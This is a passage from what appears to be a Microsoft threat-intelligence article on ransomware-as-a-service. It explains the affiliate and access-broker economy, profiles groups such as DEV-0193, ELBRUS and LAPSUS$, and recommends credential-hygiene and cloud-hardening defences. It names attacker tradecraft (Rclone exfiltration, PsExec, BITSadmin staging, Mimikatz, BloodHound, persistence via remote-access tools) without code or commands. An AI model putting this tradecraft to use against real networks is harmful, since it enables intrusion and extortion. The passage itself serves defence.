attacks from having a wider impact, even if it\u2019s only possible on the most critical assets and segments of the network. \n\nWithout the ability to steal access to highly privileged accounts, attackers can\u2019t move laterally, spread ransomware widely, access data to exfiltrate, or use tools like Group Policy to impact security settings. Disrupting common attack patterns by applying security controls also reduces alert fatigue in security SOCs by stopping the attackers before they get in. This can also prevent unexpected consequences of short-lived breaches, such as exfiltration of network topologies and configuration data that happens in the first few minutes of execution of some trojans.\n\nIn the following sections, we explain the RaaS affiliate model and disambiguate between the attacker tools and the various threat actors at play during a security incident. Gaining this clarity helps surface trends and common attack patterns that inform defensive strategies focused on preventing attacks rather than detecting ransomware payloads. Threat intelligence and insights from this research also enrich our solutions like [Microsoft 365 Defender](<https://www.microsoft.com/security/business/threat-protection/microsoft-365-defender>), whose comprehensive security capabilities help protect customers by detecting RaaS-related attack attempts.\n\n### The RaaS affiliate model explained\n\nThe cybercriminal economy\u2014a connected ecosystem of many players with different techniques, goals, and skillsets\u2014is evolving. The industrialization of attacks has progressed from attackers using off-the-shelf tools, such as Cobalt Strike, to attackers being able to purchase access to networks and the payloads they deploy to them. This means that the impact of a successful ransomware and extortion attack remains the same regardless of the attacker\u2019s skills.\n\nRaaS is an arrangement between an operator and an affiliate. The RaaS operator develops and maintains the tools to power the ransomware operations, including the builders that produce the ransomware payloads and payment portals for communicating with victims. The RaaS program may also include a leak site to share snippets of data exfiltrated from victims, allowing attackers to show that the exfiltration is real and try to extort payment. Many RaaS programs further incorporate a suite of extortion support offerings, including leak site hosting and integration into ransom notes, as well as decryption negotiation, payment pressure, and cryptocurrency transaction services\n\nRaaS thus gives a unified appearance of the payload or campaign being a single ransomware family or set of attackers. However, what happens is that the RaaS operator sells access to the ransom payload and decryptor to an affiliate, who performs the intrusion and privilege escalation and who is responsible for the deployment of the actual ransomware payload. The parties then split the profit. In addition, RaaS developers and operators might also use the payload for profit, sell it, and run their campaigns with other ransomware payloads\u2014further muddying the waters when it comes to tracking the criminals behind these actions.\n\nFigure 1. How the RaaS affiliate model enables ransomware attacks\n\n### Access for sale and mercurial targeting\n\nA component of the cybercriminal economy is selling access to systems to other attackers for various purposes, including ransomware. Access brokers can, for instance, infect systems with malware or a botnet and then sell them as a \u201cload\u201d. A load is designed to install other malware or backdoors onto the infected systems for other criminals. Other access brokers scan the internet for vulnerable systems, like exposed Remote Desktop Protocol (RDP) systems with weak passwords or unpatched systems, and then compromise them _en masse_ to \u201cbank\u201d for later profit. Some advertisements for the sale of initial access specifically cite that a system isn\u2019t managed by an antivirus or endpoint detection and response (EDR) product and has a highly privileged credential such as Domain Administrator associated with it to fetch higher prices.\n\nMost ransomware attackers opportunistically deploy ransomware to whatever network they get access to. Some attackers prioritize organizations with higher revenues, while some target specific industries for the shock value or type of data they can exfiltrate (for example, attackers targeting hospitals or exfiltrating data from technology companies). In many cases, the targeting doesn\u2019t manifest itself as specifically attacking the target\u2019s network, instead, the purchase of access from an access broker or the use of existing malware infection to pivot to ransomware activities.\n\nIn some ransomware attacks, the affiliates who bought a load or access may not even know or care how the system was compromised in the first place and are just using it as a \u201cjump server\u201d to perform other actions in a network. Access brokers often list the network details for the access they are selling, but affiliates aren\u2019t usually interested in the network itself but rather the monetization potential. As a result, some attacks that seem targeted to a specific industry might simply be a case of affiliates purchasing access based on the number of systems they could deploy ransomware to and the perceived potential for profit.\n\n## \u201cHuman-operated\u201d means human decisions\n\nMicrosoft coined the term \u201chuman-operated ransomware\u201d to clearly define a class of attacks driven by expert human intelligence at every step of the attack chain and culminate in intentional business disruption and extortion. Human-operated ransomware attacks share commonalities in the security misconfigurations of which they take advantage and the manual techniques used for lateral movement and persistence. However, the human-operated nature of these actions means that variations in attacks\u2014including objectives and pre-ransom activity\u2014evolve depending on the environment and the unique opportunities identified by the attackers.\n\nThese attacks involve many reconnaissance activities that enable human operators to profile the organization and know what next steps to take based on specific knowledge of the target. Many of the initial access campaigns that provide access to RaaS affiliates perform automated reconnaissance and exfiltration of information collected in the first few minutes of an attack.\n\nAfter the attack shifts to a hands-on-keyboard phase, the reconnaissance and activities based on this knowledge can vary, depending on the tools that come with the RaaS and the operator\u2019s skill. Frequently attackers query for the currently running security tools, privileged users, and security settings such as those defined in Group Policy before continuing their attack. The data discovered via this reconnaissance phase informs the attacker\u2019s next steps.\n\nIf there\u2019s minimal security hardening to complicate the attack and a highly privileged account can be gained immediately, attackers move directly to deploying ransomware by editing a Group Policy. The attackers take note of security products in the environment and attempt to tamper with and disable these, sometimes using scripts or tools provided with RaaS purchase that try to disable multiple security products at once, other times using specific commands or techniques performed by the attacker. \n\nThis human decision-making early in the reconnaissance and intrusion stages means that even if a target\u2019s security solutions detect specific techniques of an attack, the attackers may not get fully evicted from the network and can use other collected knowledge to attempt to continue the attack in ways that bypass security controls. In many instances, attackers test their attacks \u201cin production\u201d from an undetected location in their target\u2019s environment, deploying tools or payloads like commodity malware. If these tools or payloads are detected and blocked by an antivirus product, the attackers simply grab a different tool, modify their payload, or tamper with the security products they encounter. Such detections could give SOCs a false sense of security that their existing solutions are working. However, these could merely serve as a smokescreen to allow the attackers to further tailor an attack chain that has a higher probability of success. Thus, when the attack reaches the active attack stage of deleting backups or shadow copies, the attack would be minutes away from ransomware deployment. The adversary would likely have already performed harmful actions like the exfiltration of data. This knowledge is key for SOCs responding to ransomware: prioritizing investigation of alerts or detections of tools like Cobalt Strike and performing swift remediation actions and incident response (IR) procedures are critical for containing a human adversary before the ransomware deployment stage.\n\n### Exfiltration and double extortion\n\nRansomware attackers often profit simply by disabling access to critical systems and causing system downtime. Although that simple technique often motivates victims to pay, it is not the only way attackers can monetize their access to compromised networks. Exfiltration of data and \u201cdouble extortion,\u201d which refers to attackers threatening to leak data if a ransom hasn\u2019t been paid, has also become a common tactic among many RaaS affiliate programs\u2014many of them offering a unified leak site for their affiliates. Attackers take advantage of common weaknesses to exfiltrate data and demand ransom without deploying a payload.\n\nThis trend means that focusing on protecting against ransomware payloads via security products or encryption, or considering backups as the main defense against ransomware, instead of comprehensive hardening, leaves a network vulnerable to all the stages of a human-operated ransomware attack that occur before ransomware deployment. This exfiltration can take the form of using tools like Rclone to sync to an external site, setting up email transport rules, or uploading files to cloud services. With double extortion, attackers don\u2019t need to deploy ransomware and cause downtime to extort money. Some attackers have moved beyond the need to deploy ransomware payloads and are shifting straight to extortion models or performing the destructive objectives of their attacks by directly deleting cloud resources. One such extortion attackers is DEV-0537 (also known as LAPSUS$), which is profiled below. \n\n### Persistent and sneaky access methods\n\nPaying the ransom may not reduce the risk to an affected network and potentially only serves to fund cybercriminals. Giving in to the attackers\u2019 demands doesn\u2019t guarantee that attackers ever \u201cpack their bags\u201d and leave a network. Attackers are more determined to stay on a network once they gain access and sometimes repeatedly monetize attacks using different malware or ransomware payloads if they aren\u2019t successfully evicted.\n\nThe handoff between different attackers as transitions in the cybercriminal economy occur means that multiple attackers may retain persistence in a compromised environment using an entirely different set of tools from those used in a ransomware attack. For example, initial access gained by a banking trojan leads to a Cobalt Strike deployment, but the RaaS affiliate that purchased the access may choose to use a less detectable remote access tool such as TeamViewer to maintain persistence on the network to operate their broader series of campaigns. Using legitimate tools and settings to persist versus malware implants such as Cobalt Strike is a popular technique among ransomware attackers to avoid detection and remain resident in a network for longer.\n\nSome of the common enterprise tools and techniques for persistence that Microsoft has observed being used include:\n\n * AnyDesk\n * Atera Remote Management\n * ngrok.io\n * Remote Manipulator System\n * Splashtop\n * TeamViewer\n\nAnother popular technique attackers perform once they attain privilege access is the creation of new backdoor user accounts, whether local or in Active Directory. These newly created accounts can then be added to remote access tools such as a virtual private network (VPN) or Remote Desktop, granting remote access through accounts that appear legitimate on the network. Ransomware attackers have also been observed editing the settings on systems to enable Remote Desktop, reduce the protocol\u2019s security, and add new users to the Remote Desktop Users group.\n\nThe time between initial access to a hands-on keyboard deployment can vary wildly depending on the groups and their workloads or motivations. Some activity groups can access thousands of potential targets and work through these as their staffing allows, prioritizing based on potential ransom payment over several months. While some activity groups may have access to large and highly resourced companies, they prefer to attack smaller companies for less overall ransom because they can execute the attack within hours or days. In addition, the return on investment is higher from companies that can\u2019t respond to a major incident. Ransoms of tens of millions of dollars receive much attention but take much longer to develop. Many groups prefer to ransom five to 10 smaller targets in a month because the success rate at receiving payment is higher in these targets. Smaller organizations that can\u2019t afford an IR team are often more likely to pay tens of thousands of dollars in ransom than an organization worth millions of dollars because the latter has a developed IR capability and is likely to follow legal advice against paying. In some instances, a ransomware associate threat actor may have an implant on a network and never convert it to ransom activity. In other cases, initial access to full ransom (including handoff from an access broker to a RaaS affiliate) takes less than an hour.\n\nFigure 2. Human-operated ransomware targeting and rate of success, based on a sampling of Microsoft data over six months between 2021 and 2022\n\nThe human-driven nature of these attacks and the scale of possible victims under control of ransomware-associated threat actors underscores the need to take targeted proactive security measures to harden networks and prevent these attacks in their early stages.\n\n## Threat actors and campaigns deep dive: Threat intelligence-driven response to human-operated ransomware attacks\n\nFor organizations to successfully respond to evict an active attacker, it\u2019s important to understand the active stage of an ongoing attack. In the early attack stages, such as deploying a banking trojan, common remediation efforts like isolating a system and resetting exposed credentials may be sufficient. As the attack progresses and the attacker performs reconnaissance activities and exfiltration, it\u2019s important to implement an incident response process that scopes the incident to address the impact specifically. Using a threat intelligence-driven methodology for understanding attacks can assist in determining incidents that need additional scoping.\n\nIn the next sections, we provide a deep dive into the following prominent ransomware threat actors and their campaigns to increase community understanding of these attacks and enable organizations to better protect themselves:\n\n * DEV-0193 cluster (Trickbot LLC): The most prolific ransomware group today \n * ELBRUS: (Un)arrested development\n * DEV-0504: Shifting payloads reflecting the rise and fall of RaaS programs\n * DEV-0237: Prolific collaborator\n * DEV-0206 and DEV-0243: An \u201cevil\u201d partnership\n * DEV-0401: China-based lone wolf turned LockBit 2.0 affiliate\n * DEV-0537: From extortion to destruction\n\nMicrosoft threat intelligence directly informs our products as part of our commitment to track adversaries and protect customers. Microsoft 365 Defender customers should prioritize alerts titled \u201cRansomware-linked emerging threat activity group detected\u201d. We also add the note \u201cOngoing hands-on-keyboard attack\u201d to alerts that indicate a human attacker is in the network. When these alerts are raised, it\u2019s highly recommended to initiate an incident response process to scope the attack, isolate systems, and regain control of credentials attackers may be in control of.\n\nA note on threat actor naming: as part of Microsoft\u2019s ongoing commitment to track both nation-state and cybercriminal threat actors, we refer to the unidentified threat actors as a \u201cdevelopment group\u201d. We use a naming structure with a prefix of \u201cDEV\u201d to indicate an emerging threat group or unique activity during investigation. When a nation-state group moves out of the DEV stage, we use chemical elements (for example, PHOSPHOROUS and NOBELIUM) to name them. On the other hand, we use volcano names (such as ELBRUS) for ransomware or cybercriminal activity groups that have moved out of the DEV state. In the cybercriminal economy, relationships between groups change very rapidly. Attackers are known to hire talent from other cybercriminal groups or use \u201ccontractors,\u201d who provide gig economy-style work on a limited time basis and may not rejoin the group. This shifting nature means that many of the groups Microsoft tracks are labeled as DEV, even if we have a concrete understanding of the nature of the activity group.\n\n### DEV-0193 cluster (Trickbot LLC): The most prolific ransomware group today\n\nA vast amount of the current cybercriminal economy connects to a nexus of activity that Microsoft tracks as DEV-0193, also referred to as Trickbot LLC. DEV-0193 is responsible for developing, distributing, and managing many different payloads, including Trickbot, Bazaloader, and AnchorDNS. In addition, DEV-0193 managed the Ryuk RaaS program before the latter\u2019s shutdown in June 2021, and Ryuk\u2019s successor, Conti as well as Diavol. Microsoft has been tracking the activities of DEV-0193 since October 2020 and has observed their expansion from developing and distributing the Trickbot malware to becoming the most prolific ransomware-associated cybercriminal activity group active today. \n\nDEV-0193\u2019s actions and use of the cybercriminal gig economy means they often add new members and projects and utilize contractors to perform various parts of their intrusions. As other malware operations have shut down for various reasons, including legal actions, DEV-0193 has hired developers from these groups. Most notable are the acquisitions of developers from Emotet, Qakbot, and IcedID, bringing them to the DEV-0193 umbrella.\n\nA subgroup of DEV-0193, which Microsoft tracks as DEV-0365, provides infrastructure-as-a-service for cybercriminals. Most notably, DEV-0365 provides Cobalt Strike Beacon-as-a-service. These DEV-0365 Beacons have replaced unique C2 infrastructure in many active malware campaigns. DEV-0193 infrastructure has also been [implicated](<https://www.microsoft.com/security/blog/2021/09/15/analyzing-attacks-that-exploit-the-mshtml-cve-2021-40444-vulnerability/>) in attacks deploying novel techniques, including exploitation of CVE-2021-40444. \n\nThe leaked chat files from a group publicly labeled as the \u201cConti Group\u201d in February 2022 confirm the wide scale of DEV-0193 activity tracked by Microsoft. Based on our telemetry from 2021 and 2022, Conti has become one of the most deployed RaaS ecosystems, with multiple affiliates concurrently deploying their payload\u2014even as other RaaS ecosystems (DarkSide/BlackMatter and REvil) ceased operations. However, payload-based attribution meant that much of the activity that led to Conti ransomware deployment was attributed to the \u201cConti Group,\u201d even though many affiliates had wildly different tradecraft, skills, and reporting structures. Some Conti affiliates performed small-scale intrusions using the tools offered by the RaaS, while others performed weeks-long operations involving data exfiltration and extortion using their own techniques and tools. One of the most prolific and successful Conti affiliates\u2014and the one responsible for developing the \u201cConti Manual\u201d leaked in August 2021\u2014is tracked as DEV-0230. This activity group also developed and deployed the FiveHands and HelloKitty ransomware payloads and often gained access to an organization via DEV-0193\u2019s BazaLoader infrastructure.\n\n### ELBRUS: (Un)arrested development\n\nELBRUS, also known as FIN7, has been known to be in operation since 2012 and has run multiple campaigns targeting a broad set of industries for financial gain. ELBRUS has deployed point-of-sale (PoS) and ATM malware to collect payment card information from in-store checkout terminals. They have also targeted corporate personnel who have access to sensitive financial data, including individuals involved in SEC filings.\n\nIn 2018, this activity group made headlines when [three of its members were arrested](<https://www.justice.gov/opa/pr/three-members-notorious-international-cybercrime-group-fin7-custody-role-attacking-over-100>). In May 2020, another arrest was made for an individual with alleged involvement with ELBRUS. However, despite law enforcement actions against suspected individual members, Microsoft has observed sustained campaigns from the ELBRUS group itself during these periods.\n\nELBRUS is responsible for developing and distributing multiple custom malware families used for persistence, including JSSLoader and Griffon. ELBRUS has also created fake security companies called \u201cCombi Security\u201d and \u201cBastion Security\u201d to facilitate the recruitment of employees to their operations under the pretense of working as penetration testers.\n\nIn 2020 ELBRUS transitioned from using PoS malware to deploying ransomware as part of a financially motivated extortion scheme, specifically deploying the MAZE and Revil RaaS families. ELBRUS developed their own RaaS ecosystem named DarkSide. They deployed DarkSide payloads as part of their operations and recruited and managed affiliates that deployed the DarkSide ransomware. The tendency to report on ransomware incidents based on payload and attribute it to a monolithic gang often obfuscates the true relationship between the attackers, which is very accurate of the DarkSide RaaS. Case in point, one of the most infamous DarkSide deployments wasn\u2019t performed by ELBRUS but by a ransomware-as-a-service affiliate Microsoft tracks as DEV-0289.\n\nELBRUS retired the DarkSide ransomware ecosystem in May 2021 and released its successor, BlackMatter, in July 2021. Replicating their patterns from DarkSide, ELBRUS deployed BlackMatter themselves and ran a RaaS program for affiliates. The activity group then retired the BlackMatter ransomware ecosystem in November 2021.\n\nWhile they aren\u2019t currently publicly observed to be running a RaaS program, ELBRUS is very active in compromising organizations via phishing campaigns that lead to their JSSLoader and Griffon malware. Since 2019, ELBRUS has partnered with DEV-0324 to distribute their malware implants. DEV-0324 acts as a distributor in the cybercriminal economy, providing a service to distribute the payloads of other attackers through phishing and exploit kit vectors. ELBRUS has also been abusing CVE-2021-31207 in Exchange to compromise organizations in April of 2022, an interesting pivot to using a less popular authenticated vulnerability in the ProxyShell cluster of vulnerabilities. This abuse has allowed them to target organizations that patched only the unauthenticated vulnerability in their Exchange Server and turn compromised low privileged user credentials into highly privileged access as SYSTEM on an Exchange Server. \n\n### DEV-0504: Shifting payloads reflecting the rise and fall of RaaS programs\n\nAn excellent example of how clustering activity based on ransomware payload alone can lead to obfuscating the threat actors behind the attack is DEV-0504. DEV-0504 has deployed at least six RaaS payloads since 2020, with many of their attacks becoming high-profile incidents attributed to the \u201cREvil gang\u201d or \u201cBlackCat ransomware group\u201d. This attribution masks the actions of the set of the attackers in the DEV-0504 umbrella, including other REvil and BlackCat affiliates. This has resulted in a confusing story of the scale of the ransomware problem and overinflated the impact that a single RaaS program shutdown can have on the threat environment. \n\nFigure 3. Ransomware payloads distributed by DEV-0504 between 2020 and April 2022\n\nDEV-0504 shifts payloads when a RaaS program shuts down, for example the deprecation of REvil and BlackMatter, or possibly when a program with a better profit margin appears. These market dynamics aren\u2019t unique to DEV-0504 and are reflected in most RaaS affiliates. They can also manifest in even more extreme behavior where RaaS affiliates switch to older \u201cfully owned\u201d ransomware payloads like Phobos, which they can buy when a RaaS isn\u2019t available, or they don\u2019t want to pay the fees associated with RaaS programs.\n\nDEV-0504 appears to rely on access brokers to enter a network, using Cobalt Strike Beacons they have possibly purchased access to. Once inside a network, they rely heavily on PsExec to move laterally and stage their payloads. Their techniques require them to have compromised elevated credentials, and they frequently disable antivirus products that aren\u2019t protected with tamper protection.\n\nDEV-0504 was responsible for deploying BlackCat ransomware in companies in the energy sector in January 2022. Around the same time, DEV-0504 also deployed BlackCat in attacks against companies in the fashion, tobacco, IT, and manufacturing industries, among others.\n\n### DEV-0237: Prolific collaborator\n\nLike DEV-0504, DEV-0237 is a prolific RaaS affiliate that alternates between different payloads in their operations based on what is available. DEV-0237 heavily used Ryuk and Conti payloads from Trickbot LLC/DEV-0193, then Hive payloads more recently. Many publicly documented Ryuk and Conti incidents and tradecraft can be traced back to DEV-0237.\n\nAfter the activity group switched to Hive as a payload, a large uptick in Hive incidents was observed. Their switch to the BlackCat RaaS in March 2022 is suspected to be due to [public discourse](<https://www.securityweek.com/researchers-devise-method-decrypt-hive-ransomware-encrypted-data>) around Hive decryption methodologies; that is, DEV-0237 may have switched to BlackCat because they didn\u2019t want Hive\u2019s decryptors to interrupt their business. Overlap in payloads has occurred as DEV-0237 experiments with new RaaS programs on lower-value targets. They have been observed to experiment with some payloads only to abandon them later.\n\n_Figure 4. Ransomware payloads distributed by DEV-0237 between 2020 and April 2022_\n\nBeyond RaaS payloads, DEV-0237 uses the cybercriminal gig economy to also gain initial access to networks. DEV-0237\u2019s proliferation and success rate come in part from their willingness to leverage the network intrusion work and malware implants of other groups versus performing their own initial compromise and malware development.\n\nFigure 5. Examples of DEV-0237\u2019s relationships with other cybercriminal activity groups\n\nLike all RaaS operators, DEV-0237 relies on compromised, highly privileged account credentials and security weaknesses once inside a network. DEV-0237 often leverages Cobalt Strike Beacon dropped by the malware they have purchased, as well as tools like SharpHound to conduct reconnaissance. The group often utilizes BITSadmin /transfer to stage their payloads. An often-documented trademark of Ryuk and Conti deployments is naming the ransomware payload _xxx.exe_, a tradition that DEV-0237 continues to use no matter what RaaS they are deploying, as most recently observed with BlackCat. In late March of 2022, DEV-0237 was observed to be using a new version of Hive again.\n\n### DEV-0206 and DEV-0243: An \u201cevil\u201d partnership\n\nMalvertising, which refers to taking out a search engine ad to lead to a malware payload, has been used in many campaigns, but the access broker that Microsoft tracks as DEV-0206 uses this as their primary technique to gain access to and profile networks. Targets are lured by an ad purporting to be a browser update, or a software package, to download a ZIP file and double-click it. The ZIP package contains a JavaScript file (.js), which in most environments runs when double-clicked. Organizations that have changed the settings such that script files open with a text editor by default instead of a script handler are largely immune from this threat, even if a user double clicks the script.\n\nOnce successfully executed, the JavaScript framework, also referred to [SocGholish](<https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us>), acts as a loader for other malware campaigns that use access purchased from DEV-0206, most commonly Cobalt Strike payloads. These payloads have, in numerous instances, led to custom Cobalt Strike loaders attributed to DEV-0243. DEV-0243 falls under activities tracked by the cyber intelligence industry as \u201cEvilCorp,\u201d The custom Cobalt Strike loaders are similar to those seen in publicly documented [Blister](<https://www.elastic.co/blog/elastic-security-uncovers-blister-malware-campaign>) malware\u2019s inner payloads. In DEV-0243\u2019s initial partnerships with DEV-0206, the group deployed a custom ransomware payload known as WastedLocker, and then expanded to additional DEV-0243 ransomware payloads developed in-house, such as PhoenixLocker and Macaw.\n\nAround November 2021, DEV-0243 started to deploy the LockBit 2.0 RaaS payload in their intrusions. The use of a RaaS payload by the \u201cEvilCorp\u201d activity group is likely an attempt by DEV-0243 to avoid attribution to their group, which could discourage payment due to their sanctioned status. \n\nFigure 6. The handover from DEV-0206 to DEV-0243\n\n### DEV-0401: China-based lone wolf turned LockBit 2.0 affiliate\n\nDiffering from the other RaaS developers, affiliates, and access brokers profiled here, DEV-0401 appears to be an activity group involved in all stages of their attack lifecycle, from initial access to ransomware development. Despite this, they seem to take some inspiration from successful RaaS operations with the frequent rebranding of their ransomware payloads. Unique among human-operated ransomware threat actors tracked by Microsoft, DEV-0401 [is confirmed to be a China-based activity group.](<https://twitter.com/MsftSecIntel/status/1480730559739359233>)\n\nDEV-0401 differs from many of the attackers who rely on purchasing access to existing malware implants or exposed RDP to enter a network. Instead, the group heavily utilizes unpatched vulnerabilities to access networks, including vulnerabilities in Exchange, Manage Engine AdSelfService Plus, Confluence, and [Log4j 2](<https://digital.nhs.uk/cyber-alerts/2022/cc-4002>). Due to the nature of the vulnerabilities they preferred, DEV-0401 gains elevated credentials at the initial access stage of their attack.\n\nOnce inside a network, DEV-0401 relies on standard techniques such as using Cobalt Strike and WMI for lateral movement, but they have some unique preferences for implementing these behaviors. Their Cobalt Strike Beacons are frequently launched via DLL search order hijacking. While they use the common Impacket tool for WMI lateral movement, they use a customized version of the _wmiexec.py_ module of the tool that creates renamed output files, most likely to evade static detections. Ransomware deployment is ultimately performed from a batch file in a share and Group Policy, usually written to the NETLOGON share on a Domain Controller, which requires the attackers to have obtained highly privileged credentials like Domain Administrator to perform this action.\n\nFigure 7. Ransomware payloads distributed by DEV-0401 between 2021 and April 2022\n\nBecause DEV-0401 maintains and frequently rebrands their own ransomware payloads, they can appear as different groups in payload-driven reporting and evade detections and actions against them. Their payloads are sometimes rebuilt from existing for-purchase ransomware tools like Rook, which shares code similarity with the Babuk ransomware family. In February of 2022, DEV-0401 was observed deploying the Pandora ransomware family, primarily via unpatched VMware Horizon systems vulnerable to the [Log4j 2 CVE-2021-44228 vulnerability](<https://digital.nhs.uk/cyber-alerts/2022/cc-4002>).\n\nLike many RaaS operators, DEV-0401 maintained a leak site to post exfiltrated data and motivate victims to pay, however their frequent rebranding caused these systems to sometimes be unready for their victims, with their leak site sometimes leading to default web server landing pages when victims attempt to pay. In a notable shift\u2014possibly related to victim payment issues\u2014DEV-0401 started deploying LockBit 2.0 ransomware payloads in April 2022.\n\n### DEV-0537: From extortion to destruction\n\nAn example of a threat actor who has moved to a pure extortion and destruction model without deploying ransomware payloads is an activity group that Microsoft tracks as DEV-0537, also known as LAPSUS$. Microsoft has detailed DEV-0537 actions taken in early 2022 [in this blog](<https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/>). DEV-0537 started targeting organizations mainly in Latin America but expanded to global targeting, including government entities, technology, telecom, retailers, and healthcare. Unlike more opportunistic attackers, DEV-0537 targets specific companies with an intent. Their initial access techniques include exploiting unpatched vulnerabilities in internet-facing systems, searching public code repositories for credentials, and taking advantage of weak passwords. In addition, there is evidence that DEV-0537 leverages credentials stolen by the Redline password stealer, a piece of malware available for purchase in the cybercriminal economy. The group also buys credentials from underground forums which were gathered by other password-stealing malware.\n\nOnce initial access to a network is gained, DEV-0537 takes advantage of security misconfigurations to elevate privileges and move laterally to meet their objectives of data exfiltration and extortion. While DEV-0537 doesn\u2019t possess any unique technical capabilities, the group is especially cloud-aware. They target cloud administrator accounts to set up forwarding rules for email exfiltration and tamper with administrative settings on cloud environments. As part of their goals to force payment of ransom, DEV-0537 attempts to delete all server infrastructure and data to cause business disruption. To further facilitate the achievement of their goals, they remove legitimate admins and delete cloud resources and server infrastructure, resulting in destructive attacks. \n\nDEV-0537 also takes advantage of cloud admin privileges to monitor email, chats, and VOIP communications to track incident response efforts to their intrusions. DEV-0537 has been observed on multiple occasions to join incident response calls, not just observing the response to inform their attack but unmuting to demand ransom and sharing their screens while they delete their victim\u2019s data and resources.\n\n## Defending against ransomware: Moving beyond protection by detection\n\nA durable security strategy against determined human adversaries must include the goal of mitigating classes of attacks and detecting them. Ransomware attacks generate multiple, disparate security product alerts, but they could easily get lost or not responded to in time. Alert fatigue is real, and SOCs can make their lives easier by looking at trends in their alerts or grouping alerts into incidents so they can see the bigger picture. SOCs can then mitigate alerts using hardening capabilities like attack surface reduction rules. Hardening against common threats can reduce alert volume and stop many attackers before they get access to networks. \n\nAttackers tweak their techniques and have tools to evade and disable security products. They are also well-versed in system administration and try to blend in as much as possible. However, while attacks have continued steadily and with increased impact, the attack techniques attackers use haven\u2019t changed much over the years. Therefore, a renewed focus on prevention is needed to curb the tide.\n\nRansomware attackers are motivated by easy profits, so adding to their cost via security hardening is key in disrupting the cybercriminal economy.\n\n### Building credential hygiene\n\nMore than malware, attackers need credentials to succeed in their attacks. In almost all attacks where ransomware deployment was successful, the attackers had access to a domain admin-level account or local administrator passwords that were consistent throughout the environment. Deployment then can be done through Group Policy or tools like PsExec (or clones like PAExec, CSExec, and WinExeSvc). Without the credentials to provide administrative access in a network, spreading ransomware to multiple systems is a bigger challenge for attackers. Compromised credentials are so important to these attacks that when cybercriminals sell ill-gotten access to a network, in many instances, the price includes a guaranteed administrator account to start with.\n\nCredential theft is a common attack pattern. Many administrators know tools like Mimikatz and LaZagne, and their capabilities to steal passwords from interactive logons in the LSASS process. Detections exist for these tools accessing the LSASS process in most security products. However, the risk of credential exposure isn\u2019t just limited to a domain administrator logging in interactively to a workstation. Because attackers have accessed and explored many networks during their attacks, they have a deep knowledge of common network configurations and use it to their advantage. One common misconfiguration they exploit is running services and scheduled tasks as highly privileged service accounts.\n\nToo often, a legacy configuration ensures that a mission-critical application works by giving the utmost permissions possible. Many organizations struggle to fix this issue even if they know about it, because they fear they might break applications. This configuration is especially dangerous as it leaves highly privileged credentials exposed in the LSA Secrets portion of the registry, which users with administrative access can access. In organizations where the local administrator rights haven\u2019t been removed from end users, attackers can be one hop away from domain admin just from an initial attack like a banking trojan. Building credential hygiene is developing a logical segmentation of the network, based on privileges, that can be implemented alongside network segmentation to limit lateral movement.\n\n**Here are some steps organizations can take to build credential hygiene:**\n\n * Aim to run services as Local System when administrative privileges are needed, as this allows applications to have high privileges locally but can\u2019t be used to move laterally. Run services as Network Service when accessing other resources.\n * Use tools like [LUA Buglight](<https://techcommunity.microsoft.com/t5/windows-blog-archive/lua-buglight-2-3-with-support-for-windows-8-1-and-windows-10/ba-p/701459>) to determine the privileges that applications really need.\n * Look for events with EventID 4624 where [the logon type](<https://twitter.com/jepayneMSFT/status/1012815189345857536>) is 2, 4, 5, or 10 _and_ the account is highly privileged like a domain admin. This helps admins understand which credentials are vulnerable to theft via LSASS or LSA Secrets. Ideally, any highly privileged account like a Domain Admin shouldn\u2019t be exposed on member servers or workstations.\n * Monitor for EventID 4625 (Logon Failed events) in Windows Event Forwarding when removing accounts from privileged groups. Adding them to the local administrator group on a limited set of machines to keep an application running still reduces the scope of an attack as against running them as Domain Admin.\n * Randomize Local Administrator passwords with a tool like [Local Administrator Password S](<https://aka.ms/laps>)olution (LAPS) to prevent lateral movement using local accounts with shared passwords.\n * Use a [cloud-based identity security solution](<https://docs.microsoft.com/defender-for-identity/what-is>) that leverages on-premises Active Directory signals get visibility into identity configurations and to identify and detect threats or compromised identities\n\n### Auditing credential exposure\n\nAuditing credential exposure is critical in preventing ransomware attacks and cybercrime in general. [BloodHound](<https://github.com/BloodHoundAD/BloodHound>) is a tool that was originally designed to provide network defenders with insight into the number of administrators in their environment. It can also be a powerful tool in reducing privileges tied to administrative account and understanding your credential exposure. IT security teams and SOCs can work together with the authorized use of this tool to enable the reduction of exposed credentials. Any teams deploying BloodHound should monitor it carefully for malicious use. They can also use [this detection guidance](<https://techcommunity.microsoft.com/t5/microsoft-defender-for-endpoint/hunting-for-reconnaissance-activities-using-ldap-search-filters/ba-p/824726>) to watch for malicious use.\n\nMicrosoft has observed ransomware attackers also using BloodHound in attacks. When used maliciously, BloodHound allows attackers to see the path of least resistance from the systems they have access, to highly privileged accounts like domain admin accounts and global administrator accounts in Azure.\n\n### Prioritizing deployment of Active Directory updates\n\nSecurity patches for Active Directory should be applied as soon as possible after they are released. Microsoft has witnessed ransomware attackers adopting authentication vulnerabilities within one hour of being made public and as soon as those vulnerabilities are included in tools like Mimikatz. Ransomware activity groups also rapidly adopt vulnerabilities related to authentication, such as ZeroLogon and PetitPotam, especially when they are included in toolkits like Mimikatz. When unpatched, these vulnerabilities could allow attackers to rapidly escalate from an entrance vector like email to Domain Admin level privileges.\n\n### Cloud hardening\n\nAs attackers move towards cloud resources, it\u2019s important to secure cloud resources and identities as well as on-premises accounts. Here are ways organizations can harden cloud environments:\n\n**Cloud identity hardening**\n\n * Implement the [Azure Security Benchmark](<https://docs.microsoft.com/security/benchmark/azure/>) and general [best practices for securing identity infrastructure](<https://docs.microsoft.com/azure/security/fundamentals/identity-management-best-practices>), including:\n * Prevent on-premises service accounts from having direct rights to the cloud resources to prevent lateral movement to the cloud.\n * Ensure that \u201cbreak glass\u201d account passwords are stored offline and configure honey-token activity for account usage.\n * Implement [Conditional Access policies](<https://docs.microsoft.com/azure/active-directory/conditional-access/plan-conditional-access>) enforcing [Microsoft\u2019s Zero Trust principles](<https://www.microsoft.com/security/business/zero-trust>).\n * Enable [risk-based user sign-in protection](<https://docs.microsoft.com/azure/active-directory/authentication/tutorial-risk-based-sspr-mfa>) and automate threat response to block high-risk sign-ins from all locations and enable MFA for medium-risk ones.\n * Ensure that VPN access is protected via [modern authentication methods](<https://docs.microsoft.com/azure/active-directory/fundamentals/concept-fundamentals-block-legacy-authentication#step-1-enable-modern-authentication-in-your-directory>).\n\n**Multifactor authentication (MFA)**\n\n * Enforce MFA on all accounts, remove users excluded from MFA, and strictly r[equire 